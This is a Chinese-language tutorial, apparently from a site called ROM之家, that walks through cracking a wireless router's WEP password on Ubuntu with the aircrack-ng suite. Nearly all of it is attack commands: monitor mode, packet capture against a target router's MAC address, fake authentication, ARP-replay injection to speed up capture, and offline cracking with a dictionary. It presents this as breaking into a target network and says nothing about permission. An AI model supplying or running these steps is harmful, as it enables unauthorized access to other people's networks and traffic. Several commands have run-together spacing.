ROM之家教你如何破解無線密碼

　　ROM之家教你如何破解無線密碼。用的是ubuntu系統，沒用linux系統的至少要在WIN裡面安裝ubuntu。1、安裝aircrack-ng在終端中輸入 sudo apt-getinstall aircrack-ng

　　2 、啟動無線網卡的監控模式，在終端中輸入：sudo airmon-ngstart wlan0

　　3 、看看有哪些無線路由在工作，在終端中輸入：sudo airodump-ngmon0

　　然後按 ctrl+c 退出，保留終端。

　　4 、抓包，另開一個終端，輸入：sudo airodump-ng -c 6--bssid 11:22:33:44:55:66 -w wep mon0

　　（-c 後面跟著的6是要破解的路由器的工作頻道，--bissid後面跟著的11:22:33:44:55:66是欲破解無線路由的MAC地址，-w後面跟著的是抓下來的數據包的文件名，在步驟2可以查看正在工作的無線路由的頻道和MAC地址，保存的文件名可隨便命名）

　　5 、注入破解的話要與目標路由器建立虛擬連接，再另開一個終端，輸入：

　　sudo aireplay-ng -1 0 -a 11:22:33:44:55:66 -haa:bb:cc:dd:ee:ff mon0

　　（-h後面跟著的aa:bb:cc:dd:ee:ff 是自己的無線網卡的MAC地址），如果不知道可以在終端輸入ifconfig 查看。

　　6 、成功建立虛擬連接後輸入：

　　sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b11:22:33:44:55:66 -h aa:bb:cc:dd:ee:ff mon0

　　進行注入，注入破解是為了加快抓包的速度。

　　7 、收集15000（用Bt4破解時的收集數據的個數）個以上的數據之後，另開一個

　　終端，輸入：sudo aircrack-ng wep*.cap ，進行解密。注意這裡命令的文件名要和步驟4一致。

　　Please specify a dictionary （option -w）。這是提示找不到字典

　　再輸入aircrack-ng –w 字典 wep-01.cap開始破解

　　8、破解出密碼後在終端中輸入 sudo airmon-ng stopmon0 關閉監控模式，不然無線網卡會一直向剛剛的無線路由進行注入

　　注意aircrack-ng裡不帶字典，需要將bt6裡的字典或者自己生成的字典放到ubuntu的主文件夾中格式為xxx.txt